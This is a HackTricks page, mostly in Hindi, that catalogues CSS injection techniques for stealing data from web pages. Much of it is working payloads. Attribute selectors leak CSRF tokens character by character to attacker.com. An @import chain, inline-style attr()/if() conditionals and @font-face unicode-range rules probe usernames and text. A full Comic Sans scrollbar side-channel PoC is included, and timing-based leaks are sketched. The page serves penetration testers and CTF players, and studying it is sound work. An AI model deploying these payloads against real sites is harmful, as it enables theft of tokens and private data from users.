CSS Injection
Reading time: 26 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
CSS Injection
एट्रिब्यूट सिलेक्टर
CSS चयनकर्ता input
एलिमेंट के name
और value
एट्रिब्यूट के मान से मेल खाने के लिए बनाए जाते हैं। यदि input
एलिमेंट का value
एट्रिब्यूट किसी विशेष अक्षर से शुरू होता है, तो एक पूर्वनिर्धारित बाहरी संसाधन लोड हो जाता है:
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
हालाँकि, यह तरीका छिपे हुए इनपुट एलिमेंट्स (type="hidden"
) के साथ काम करते समय एक सीमा का सामना करता है क्योंकि छिपे हुए एलिमेंट पृष्ठभूमि (background) लोड नहीं करते।
छिपे हुए एलिमेंट्स के लिए बाइपास
इस सीमा को दरकिनार करने के लिए, आप ~
जनरल सिबलिंग कम्बिनेटर का उपयोग करके अगले sibling एलिमेंट को टार्गेट कर सकते हैं। फिर CSS नियम उस hidden input एलिमेंट के बाद आने वाले सभी siblings पर लागू होता है, जिससे बैकग्राउंड इमेज लोड हो जाती है:
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
A practical example of exploiting this technique is detailed in the provided code snippet. You can view it यहाँ.
CSS Injection के लिए आवश्यकताएँ
CSS Injection तकनीक प्रभावी होने के लिए कुछ शर्तें पूरी होनी चाहिए:
- Payload Length: CSS injection वेक्टर को तैयार किए गए selectors को समायोजित करने के लिए पर्याप्त लंबे payloads का समर्थन करना चाहिए।
- CSS Re-evaluation: आपको पेज को फ्रेम करने की क्षमता होनी चाहिए, जो नए जनरेट किए गए payloads के साथ CSS के पुनः मूल्यांकन को ट्रिगर करने के लिए आवश्यक है।
- External Resources: यह तकनीक externally hosted images का उपयोग करने की क्षमता मानती है। यह साइट की Content Security Policy (CSP) द्वारा प्रतिबंधित हो सकता है।
Blind Attribute Selector
जैसा कि explained in this post, यह संभव है कि selectors :has
और :not
को मिलाकर blind elements से भी कंटेंट की पहचान की जा सके। यह तब बहुत उपयोगी होता है जब आपको यह अंदाजा ही न हो कि CSS injection लोड कर रहे वेब पेज के अंदर क्या है।
इन selectors का उपयोग समान प्रकार के कई ब्लॉकों से जानकारी निकालने के लिए भी किया जा सकता है, जैसे कि:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
Combining this with the following @import technique, it's possible to exfiltrate a lot of info using CSS injection from blind pages with blind-css-exfiltration.
@import
The previous technique has some drawbacks, check the prerequisites. You either need to be able to send multiple links to the victim, or you need to be able to iframe the CSS injection vulnerable page.
हालाँकि, एक और चालाक technique है जो तकनीक की गुणवत्ता सुधारने के लिए CSS @import
का उपयोग करती है।
यह पहले Pepe Vila द्वारा दिखाया गया था और यह इस प्रकार काम करता है:
Instead of loading the same page once and again with tens of different payloads each time (like in the previous one), we are going to load the page just once and just with an import to the attackers server (this is the payload to send to the victim):
@import url("//attacker.com:5001/start?");
- यह import attackers से कुछ CSS script प्राप्त करेगा और browser इसे लोड करेगा।
- CSS script का पहला हिस्सा जिसे attacker भेजेगा फिर से attackers server के लिए एक और
@import
होगा। - attackers server अभी इस request का जवाब नहीं देगा, क्योंकि हम कुछ chars को leak करना चाहते हैं और फिर अगले ones को leak करने के लिए इस import का जवाब payload के साथ देंगे।
- payload का दूसरा और बड़ा हिस्सा एक attribute selector leakage payload होगा
- यह attackers server को secret का पहला char और आखिरी char भेजेगा
- जब attackers server ने secret का पहला और आखिरी char प्राप्त कर लिया होगा, तो यह step 2 में request किया गया import का जवाब देगा।
- जवाब बिल्कुल उसी तरह का होगा जैसा steps 2, 3 and 4 थे, लेकिन इस बार यह secret का दूसरा char और फिर अंतिम से दूसरा char (penultimate) खोजने की कोशिश करेगा।
The attacker will fउस loop का अनुसरण तब तक करेगा जब तक यह secret पूरी तरह से leak नहीं हो जाता।
You can find the original Pepe Vila's code to exploit this here or you can find almost the same code but commented here.
tip
Script हर बार 2 chars (beginning और end से) खोजने की कोशिश करेगा क्योंकि attribute selector ऐसे constructs की अनुमति देता है:
/* value^= to match the beggining of the value*/
input[value^="0"] {
--s0: url(http://localhost:5001/leak?pre=0);
}
/* value$= to match the ending of the value*/
input[value$="f"] {
--e0: url(http://localhost:5001/leak?post=f);
}
इससे secret को तेज़ी से leak करना संभव होता है।
warning
कभी-कभी script सही तरीके से यह detect नहीं कर पाती कि discovered prefix + suffix पहले से ही पूरा flag है और यह आगे (prefix में) और पीछे (suffix में) बढ़ती रहती है और किसी बिंदु पर hang कर जाएगी.
चिंता की कोई बात नहीं, बस output चेक करें क्योंकि आप flag वहां देख सकते हैं।
Inline-Style CSS Exfiltration (attr() + if() + image-set())
This primitive इनलाइन element के style attribute का उपयोग करके केवल उसी element की attributes पढ़कर exfiltration सक्षम करती है, बिना selectors या external stylesheets के। यह CSS custom properties, attr() function (same-element attributes पढ़ने के लिए), नए CSS if() conditionals (branching के लिए), और image-set() पर निर्भर करती है जो matched value को encode करके network request trigger करती है।
warning
if() में equality comparisons के लिए string literals में double quotes जरूरी हैं। Single quotes match नहीं करेंगी।
- Sink: किसी element के style attribute को control करें और सुनिश्चित करें कि target attribute उसी element पर है (attr() केवल same-element attributes पढ़ता है)।
- Read: attribute को CSS variable में copy करें:
--val: attr(title)
. - Decide: nested conditionals का उपयोग करके variable की तुलना string candidates से करें और एक URL चुनें:
--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))
. - Exfiltrate: चुने हुए endpoint को request करने के लिए
background: image-set(var(--steal))
(या कोई भी fetching property) apply करें।
Attempt (does not work; single quotes in comparison):
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
काम करने वाला payload (तुलना में डबल उद्धरण आवश्यक हैं):
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
नेस्टेड शर्तों के साथ attribute मानों की सूची बनाना:
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
यथार्थवादी डेमो (probing usernames):
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
नोट्स और सीमाएँ:
- अनुसंधान के समय Chromium-based ब्राउज़रों पर काम करता है; अन्य इंजन पर व्यवहार अलग हो सकता है।
- यह सीमित/गणनीय मान स्थान (IDs, flags, short usernames) के लिए सबसे उपयुक्त है। बाहरी stylesheets के बिना arbitrary long strings चुराना अभी भी चुनौतीपूर्ण बना रहता है।
- कोई भी CSS property जो URL फेच करती है request ट्रिगर करने के लिए इस्तेमाल की जा सकती है (उदा., background/image-set, border-image, list-style, cursor, content).
Automation: एक Burp Custom Action nested inline-style payloads जेनरेट कर सकता है ताकि attribute values को brute-force किया जा सके: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
Other selectors
DOM के हिस्सों तक पहुँचने के अन्य तरीके CSS selectors के साथ:
.class-to-search:nth-child(2)
: यह DOM में class "class-to-search" वाला दूसरा आइटम खोजेगा।:empty
selector: उदाहरण के लिए this writeup:
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}
Error based XS-Search
संदर्भ: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq
कुल मिलाकर उद्देश्य है कि एक नियंत्रित endpoint से custom font का उपयोग करें और यह सुनिश्चित करें कि टेक्स्ट (इस मामले में, 'A') तब ही इस font के साथ दिखाई दे जब निर्दिष्ट resource (favicon.ico
) लोड नहीं हो सके।
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- Custom Font Usage:
- एक कस्टम फ़ॉन्ट को
<head>
सेक्शन में<style>
टैग के अंदर@font-face
नियम का उपयोग करके परिभाषित किया गया है। - फ़ॉन्ट का नाम
poc
रखा गया है और यह एक बाहरी endpoint (http://attacker.com/?leak
) से लिया जा रहा है। unicode-range
प्रॉपर्टी कोU+0041
पर सेट किया गया है, जो कि विशिष्ट यूनिकोड वर्ण 'A' को लक्षित करता है।
- Object Element with Fallback Text:
<body>
सेक्शन मेंid="poc0"
वाला<object>
एलिमेंट बनाया गया है। यह एलिमेंटhttp://192.168.0.1/favicon.ico
से एक resource लोड करने की कोशिश करता है।- इस एलिमेंट के लिए
font-family
को<style>
सेक्शन में परिभाषित अनुसार'poc'
पर सेट किया गया है। - यदि resource (
favicon.ico
) लोड करने में असफल रहता है, तो<object>
टैग के अंदर fallback कंटेंट (अक्षर 'A') दिखाया जाता है। - यदि बाहरी resource लोड नहीं हो पाता है तो fallback कंटेंट ('A') custom फ़ॉन्ट
poc
का उपयोग करके रेंडर किया जाएगा।
Styling Scroll-to-Text Fragment
The :target
pseudo-class is employed to select an element targeted by a URL fragment, as specified in the CSS Selectors Level 4 specification. It's crucial to understand that ::target-text
doesn't match any elements unless the text is explicitly targeted by the fragment.
A security concern arises when attackers exploit the Scroll-to-text fragment feature, allowing them to confirm the presence of specific text on a webpage by loading a resource from their server through HTML injection. The method involves injecting a CSS rule like this:
:target::before {
content: url(target.png);
}
ऐसे परिदृश्यों में, यदि पेज पर "Administrator" टेक्स्ट मौजूद है, तो सर्वर से target.png
रिसोर्स की रिक्वेस्ट भेजी जाती है, जो टेक्स्ट की मौजूदगी को दर्शाती है। इस हमले का एक उदाहरण विशेष रूप से तैयार किए गए URL के माध्यम से चलाया जा सकता है, जो injected CSS को Scroll-to-text fragment के साथ एम्बेड करता है:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
Here, the attack manipulates HTML injection to transmit the CSS code, aiming at the specific text "Administrator" through the Scroll-to-text fragment (#:~:text=Administrator
). If the text is found, the indicated resource is loaded, inadvertently signaling its presence to the attacker.
रोकथाम के लिए निम्न बिंदुओं को ध्यान में रखें:
- Constrained STTF Matching: Scroll-to-text Fragment (STTF) केवल शब्दों या वाक्यों से ही मेल करने के लिए डिज़ाइन किया गया है, इसलिए इसकी arbitrary secrets या tokens को leak करने की क्षमता सीमित रहती है।
- Restriction to Top-level Browsing Contexts: STTF केवल top-level browsing contexts में काम करता है और iframes के भीतर कार्य नहीं करता, जिससे किसी भी exploitation प्रयास का उपयोगकर्ता के लिए पता लगना आसान होता है।
- Necessity of User Activation: STTF को काम करने के लिए user-activation gesture चाहिए, यानी exploitations केवल user-initiated navigations के माध्यम से संभव होते हैं। यह शर्त बिना user interaction के attacks के automated होने के जोखिम को काफी हद तक घटाती है। फिर भी, ब्लॉग पोस्ट के लेखक कुछ specific conditions और bypasses (उदा., social engineering, interaction with prevalent browser extensions) का ज़िक्र करते हैं जो attack की automation को आसान कर सकते हैं।
इन मैकेनिज़्म और संभावित कमजोरियों के प्रति जागरूक रहना वेब सुरक्षा बनाए रखने और ऐसे exploitative tactics से बचाव के लिए महत्वपूर्ण है।
For more information check the original report: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
You can check an exploit using this technique for a CTF here.
@font-face / unicode-range
आप specific unicode values के लिए external fonts निर्दिष्ट कर सकते हैं, जिन्हें केवल तभी ग्रहित (gathered) किया जाएगा जब वे unicode values पेज में मौजूद हों। उदाहरण के लिए:
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>
<p id="sensitive-information">AB</p>
htm
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
Text node exfiltration (I): ligatures
Reference: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
The technique described involves extracting text from a node by exploiting font ligatures and monitoring changes in width. The process involves several steps:
- Creation of Custom Fonts:
- SVG fonts are crafted with glyphs having a
horiz-adv-x
attribute, which sets a large width for a glyph representing a two-character sequence. - Example SVG glyph:
<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
, where "XY" denotes a two-character sequence. - These fonts are then converted to woff format using fontforge.
- Detection of Width Changes:
- CSS is used to ensure that text does not wrap (
white-space: nowrap
) and to customize the scrollbar style. - The appearance of a horizontal scrollbar, styled distinctly, acts as an indicator (oracle) that a specific ligature, and hence a specific character sequence, is present in the text.
- The CSS involved:
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
- Exploit Process:
- Step 1: Fonts are created for pairs of characters with substantial width.
- Step 2: A scrollbar-based trick is employed to detect when the large width glyph (ligature for a character pair) is rendered, indicating the presence of the character sequence.
- Step 3: Upon detecting a ligature, new glyphs representing three-character sequences are generated, incorporating the detected pair and adding a preceding or succeeding character.
- Step 4: Detection of the three-character ligature is carried out.
- Step 5: The process repeats, progressively revealing the entire text.
- Optimization:
- The current initialization method using
<meta refresh=...
is not optimal. - A more efficient approach could involve the CSS
@import
trick, enhancing the exploit's performance.
Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)
Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq
This trick was released in this Slackers thread. The charset used in a text node can be leaked using the default fonts installed in the browser: no external -or custom- fonts are needed.
The concept revolves around utilizing an animation to incrementally expand a div
's width, allowing one character at a time to transition from the 'suffix' part of the text to the 'prefix' part. This process effectively splits the text into two sections:
- Prefix: The initial line.
- Suffix: The subsequent line(s).
The transition stages of the characters would appear as follows:
C
ADB
CA
DB
CAD
B
CADB
During this transition, the unicode-range trick is employed to identify each new character as it joins the prefix. This is achieved by switching the font to Comic Sans, which is notably taller than the default font, consequently triggering a vertical scrollbar. This scrollbar's appearance indirectly reveals the presence of a new character in the prefix.
Although this method allows the detection of unique characters as they appear, it does not specify which character is repeated, only that a repetition has occurred.
tip
Basically, the unicode-range is used to detect a char, but as we don't want to load an external font, we need to find another way.
When the char is found, it's given the pre-installed Comic Sans font, which makes the char bigger and triggers a scroll bar which will leak the found char.
Check the code extracted from the PoC:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Text node exfiltration (III): leaking the charset डिफ़ॉल्ट फ़ॉन्ट का उपयोग करके तत्वों को छिपाकर (बाहरी assets की आवश्यकता नहीं)
संदर्भ: यह an unsuccessful solution in this writeup में उल्लिखित है
यह मामला पिछले वाले से बहुत समान है; हालांकि यहाँ उद्देश्य कुछ specific chars को दूसरों से बड़ा बनाकर कुछ छिपाना है — जैसे कि किसी button को bot द्वारा दबाये जाने से रोकना या किसी image को लोड न होने देना। इसलिए हम उस action (या action की कमी) को मापकर जान सकते हैं कि किसी specific char का text के भीतर मौजूद है या नहीं।
Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)
संदर्भ: यह an unsuccessful solution in this writeup में उल्लिखित है
इस मामले में, हम यह पता लगाने की कोशिश कर सकते हैं कि कोई char टेक्स्ट में है या नहीं, fake font को same origin से लोड करके:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
यदि मैच होता है, तो font will be loaded from /static/bootstrap.min.css?q=1
। भले ही यह सफलतापूर्वक लोड न हो, ब्राउज़र इसे cache कर लेना चाहिए, और अगर कैश नहीं भी है, तो 304 not modified मैकेनिज़्म मौजूद है, इसलिए response अन्य चीज़ों की तुलना में तेज़ होना चाहिए।
हालाँकि, अगर cached response और non-cached वाले के बीच समय का अंतर काफी बड़ा नहीं है, तो यह उपयोगी नहीं होगा। उदाहरण के लिए, लेखक ने उल्लेख किया: हालांकि, टेस्ट करने के बाद मैंने पाया कि पहली समस्या यह है कि गति में बहुत अंतर नहीं है, और दूसरी समस्या यह है कि bot disk-cache-size=1
flag का उपयोग करता है, जो काफी विचारशील है।
Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets)
संदर्भ: This is mentioned as an unsuccessful solution in this writeup
इस मामले में आप यह निर्देश दे सकते हैं कि मैच होने पर उसी origin से CSS to load hundreds of fake fonts। इस तरह आप measure the time कर सकते हैं और पता लगा सकते हैं कि कोई char दिखाई देता है या नहीं, कुछ इस तरह:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
और bot का कोड इस तरह दिखता है:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
तो, यदि फ़ॉन्ट मेल नहीं खाता है, तो bot पर जाने पर प्रतिक्रिया समय लगभग 30 सेकंड होने की उम्मीद है। हालांकि, यदि फ़ॉन्ट मेल खाता है, तो फ़ॉन्ट लाने के लिए कई अनुरोध भेजे जाएंगे, जिससे नेटवर्क पर लगातार गतिविधि बनी रहेगी। परिणामस्वरूप, बंद करने की शर्त पूरी करने और प्रतिक्रिया प्राप्त करने में अधिक समय लगेगा। इसलिए, प्रतिक्रिया समय का उपयोग यह निर्धारित करने के लिए एक संकेतक के रूप में किया जा सकता है कि क्या फ़ॉन्ट मेल खाता है।
संदर्भ
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
- Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)
- InlineStyleAttributeStealer.bambda (Burp Custom Action)
- PoC page for inline-style exfiltration
- MDN: CSS if() conditional
- MDN: CSS attr() function
- MDN: image-set()
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।